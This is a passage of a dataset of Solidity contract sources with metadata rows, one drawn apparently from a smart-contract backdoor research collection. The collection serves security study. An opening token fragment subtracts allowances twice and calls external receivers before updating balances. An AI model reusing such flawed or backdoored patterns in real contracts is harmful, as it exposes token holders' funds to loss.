allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public payable {
require(_value > 0);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferMultiple(address[] _tos, uint256[] _values, uint count) payable public returns (bool) {
uint256 total = 0;
uint256 total_prev = 0;
uint i = 0;
for(i=0;i<count;i++){
require(_tos[i] != address(0) && !isContract(_tos[i]));//_tos must no contain any contract address
if(isContract(_tos[i])) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_tos[i]);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _values[i], _data);
}
total_prev = total;
total = SafeMath.add(total, _values[i]);
require(total >= total_prev);
}
require(total <= balances[msg.sender]);
for(i=0;i<count;i++){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _values[i]);
balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]);
Transfer(msg.sender, _tos[i], _values[i]);
}
return true;
}
}
| 20,052 | 729 |
8538c331e290b17a68d884a607f82cc8ec538df619713c4f9436d7ad2e374978
| 30,048 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xee89ba435b69d364dd2adb83bef1764f471c48e1.sol
| 4,241 | 14,740 |
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/introspection/ERC165.sol
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(address indexed _from,
address indexed _to,
uint256 indexed _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public;
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator,
address _from,
uint256 _tokenId,
bytes _data)
public
returns(bytes4);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: zeppelin-solidity/contracts/AddressUtils.sol
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: zeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender,
uint256 _tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/SpiderStore2018Contributions.sol
contract SpiderStore2018Contributions is ERC721Token, Ownable {
constructor (string _name, string _symbol) public ERC721Token(_name, _symbol)
{
super._mint(msg.sender, 1);
super._setTokenURI(1, 'https://ipfs.io/ipfs/QmfDJCNDZiMqpSizWK5GoBThFHinhq68nicu9ntNMawEBb');
super._mint(msg.sender, 2);
super._setTokenURI(2, 'https://ipfs.io/ipfs/QmNqfRD2SZn4EeTzuZ7wpqxcj3ikN32NXfdSQu8RViUkyZ');
}
function mint(address _to,
uint256 _tokenId,
string _tokenURI) public onlyOwner
{
super._mint(_to, _tokenId);
super._setTokenURI(_tokenId, _tokenURI);
}
}
| 144,026 | 730 |
3abe3c2443cba966922f89f5fb371cb64af2025668e66ae3eb270b03a2c3df1c
| 31,869 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/32/32e132eC4525C170Cf4438905b23bAfADD1E9f07_VShareRewardPool.sol
| 5,120 | 19,592 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of tSHARE (rewards).
contract VShareRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. tSHAREs to distribute per block.
uint256 lastRewardTime; // Last time that tSHAREs distribution occurs.
uint256 accTSharePerShare; // Accumulated tSHAREs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public tshare;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when tSHARE mining starts.
uint256 public poolStartTime;
// The time when tSHARE mining ends.
uint256 public poolEndTime;
uint256 public tSharePerSecond = 0.00186122 ether; // 59500 tshare / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 370 days; // 370 days
uint256 public constant TOTAL_REWARDS = 59500 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _tshare,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_tshare != address(0)) tshare = IERC20(_tshare);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "TShareRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "TShareRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accTSharePerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's tSHARE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(tSharePerSecond);
return poolEndTime.sub(_fromTime).mul(tSharePerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(tSharePerSecond);
return _toTime.sub(_fromTime).mul(tSharePerSecond);
}
}
// View function to see pending tSHAREs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTSharePerShare = pool.accTSharePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accTSharePerShare = accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accTSharePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accTSharePerShare = pool.accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeTShareTransfer(address _to, uint256 _amount) internal {
uint256 _tshareBal = tshare.balanceOf(address(this));
if (_tshareBal > 0) {
if (_amount > _tshareBal) {
tshare.safeTransfer(_to, _tshareBal);
} else {
tshare.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (tSHARE or lps) if less than 90 days after pool ends
require(_token != tshare, "tshare");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 326,123 | 731 |
6e9edb4d94da4c9089002058f63795ff982117a7b6b3e88e302a83f3472517e3
| 13,112 |
.sol
|
Solidity
| false |
590572592
|
code-423n4/2023-01-drips
|
9fd776b50f4be23ca038b1d0426e63a69c7a511d
|
src/Splits.sol
| 3,247 | 13,034 |
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.17;
/// @notice A splits receiver
struct SplitsReceiver {
/// @notice The user ID.
uint256 userId;
/// @notice The splits weight. Must never be zero.
/// The user will be getting `weight / _TOTAL_SPLITS_WEIGHT`
/// share of the funds collected by the splitting user.
uint32 weight;
}
/// @notice Splits can keep track of at most `type(uint128).max`
